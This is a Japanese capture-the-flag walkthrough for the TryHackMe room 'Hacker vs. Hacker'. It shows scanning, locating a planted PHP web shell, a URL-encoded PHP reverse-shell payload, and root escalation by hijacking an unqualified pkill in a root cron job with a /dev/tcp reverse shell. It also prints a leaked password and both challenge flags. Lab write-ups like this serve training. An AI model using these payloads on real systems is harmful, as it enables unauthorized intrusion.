【TryHackMe】Hacker vs. Hacker：Walkthrough

# 概要

TryHackMe「Hacker vs. Hacker」のWalkthroughです。

https://tryhackme.com/r/room/hackervshacker

# Task1

## **Q1**.*What is the user.txt flag?*

**Hint**.*The hacker may have been a bit sloppy in their stealth measures...*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 10.10.93.193 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9f:a6:01:53:92:3a:1d:ba:d7:18:18:5c:0d:8e:92:2c (RSA)
|   256 4b:60:dc:fb:92:a8:6f:fc:74:53:64:c1:8c:bd:de:7c (ECDSA)
|_  256 83:d4:9c:d0:90:36:ce:83:f7:c7:53:30:28:df:c3:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: RecruitSec: Industry Leading Infosec Recruitment
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.2p1|
|80|http|Apache httpd 2.4.41|

`80`番ポートでWebサイトにアクセスできました。

![home page.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/13277e4e-06e0-b812-e820-5d5e5cc01fa7.jpeg)

ディレクトリ列挙を行います。

```
$ dirsearch -u http://10.10.93.193
[04:53:16] 301 -  310B  - /css  ->  http://10.10.93.193/css/
[04:53:17] 301 -  310B  - /cvs  ->  http://10.10.93.193/cvs/
[04:53:17] 200 -   26B  - /cvs/
[04:53:19] 301 -  311B  - /dist  ->  http://10.10.93.193/dist/
[04:53:19] 200 -  455B  - /dist/
[04:53:30] 301 -  313B  - /images  ->  http://10.10.93.193/images/
[04:53:30] 200 -  498B  - /images/
[04:54:14] 200 -  335B  - /upload.php
```

ファイルをアップロードする`/upload.php`は書き換えられています。

![upload source code.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c525f24e-1fc3-751c-c743-a03150c51ea5.jpeg)

元の処理はファイルが`.pdf`か判定し、`/cvs`ファイルへアップロードする機能のようです。
この場合、攻撃者が使用するテクニックは`.pdf.php`のようなファイルをアップロードして拡張子の判定をバイパスする手法です。
サーバーではPHPが動作しているので、攻撃者はPHPのリバースシェルファイルをアップロードした可能性が高いです。

攻撃者がアップロードしたであろう`.pdf.php`に予測を付け`/cvs`配下をスキャンします。

```
$ dirsearch -u http://10.10.222.254/cvs -e .pdf.php
[11:31:30] 200 -   18B  - /cvs/shell.pdf.php
```

`/cvs/shell.pdf.php`がヒットしました。
シェルファイルはGETリクエストパラメータでコマンドを実行できることが多いです。
パラメータ名のファジングをします。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.222.254/cvs/shell.pdf.php?FUZZ=ls -ic -c -fs 18
cmd                     [Status: 200, Size: 43, Words: 1, Lines: 4, Duration: 241ms]
```

`cmd`パラメータを発見しました。

![rce success.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d9e06db0-8c98-4a17-11f2-bb229dae1584.jpeg)

パラメータを送信します。

```
?cmd=php%20-r%20%27$sock=fsockopen(%2210.6.55.144%22,1234);exec(%22bash%20%3C%263%20%3E%263%202%3E%263%22);%27
```

リバースシェルを張ります。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.222.254] 42840
ls
index.html
shell.pdf.php
```

`/home/lachlan/user.txt`からフラグを入手できます。

```/home/lachlan/user.txt
thm{af7e46b68081d4025c5ce10851430617}
```

**A**.**thm{af7e46b68081d4025c5ce10851430617}**

## **Q2**.*What is the proof.txt flag?*

**Hint**.*...and a bit sloppy in their automated kill scripts.*

`/home/lachlan/.bash_history`を確認すると`lachlan`のパスワードが`thisistheway123`だと分かりました。

```
./cve.sh
./cve-patch.sh
vi /etc/cron.d/persistence
echo -e "dHY5pzmNYoETv7SUaY\nthisistheway123\nthisistheway123" | passwd
ls -sf /dev/null /home/lachlan/.bash_history
```

しかし、SSH接続をするとログインは出来ましたが数秒後に接続が切られます。

```
$ ssh lachlan@10.10.222.254
lachlan@10.10.222.254's password: 
Last login: Thu May  5 04:39:19 2022 from 192.168.56.1
$ pwdnope
Connection to 10.10.222.254 closed.
```

`/home/lachlan/.bash_history`で見つけた`/etc/cron.d/persistence`を確認するとスクリプトでプロセスが強制終了されています。

```
PATH=/home/lachlan/bin:/bin:/usr/bin
# * * * * * root backup.sh
* * * * * root /bin/sleep 1  && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 11 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 21 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 31 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 41 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 51 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
```

`PATH=/home/lachlan/bin:/bin:/usr/bin`を見ると`/home/lachlan/bin`のパスから順にコマンドを参照している、`pkill`が絶対パスで指定されていないことが分かります。
`/home/lachlan/bin`に`pkill`ファイルを作成した場合、`/home/lachlan/bin/pkill`が実行されます。

`/home/lachlan/bin/pkill`をリバースシェルのスクリプトとして作成します。

```
echo '#!/bin/bash' > /home/lachlan/bin/pkill && echo 'sh -i >& /dev/tcp/10.6.55.144/1234 0>&1' >> /home/lachlan/bin/pkill && chmod +x /home/lachlan/bin/pkill
```

事前にNetcatで待ち受けをします。

```
$ nc -lvnp 1234
```

SSH接続してプロセスがキルされる前にコマンドを入力します。

```
$ ssh lachlan@10.10.222.254
$ echo '#!/bin/bash' > /home/lachlan/bin/pkill && echo 'sh -i >& /dev/tcp/10.6.55.144/1234 0>&1' >> /home/lachlan/bin/pkill && chmod +x /home/lachlan/bin/pkill
$ nope
```

しばらくするとrootのシェルを取得できました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.222.254] 42862
sh: 0: can't access tty; job control turned off
# whoami
root
```

`/root/root.txt`からフラグを入手できます。

```/root/root.txt
thm{7b708e5224f666d3562647816ee2a1d4}
```

**A**.**thm{7b708e5224f666d3562647816ee2a1d4}**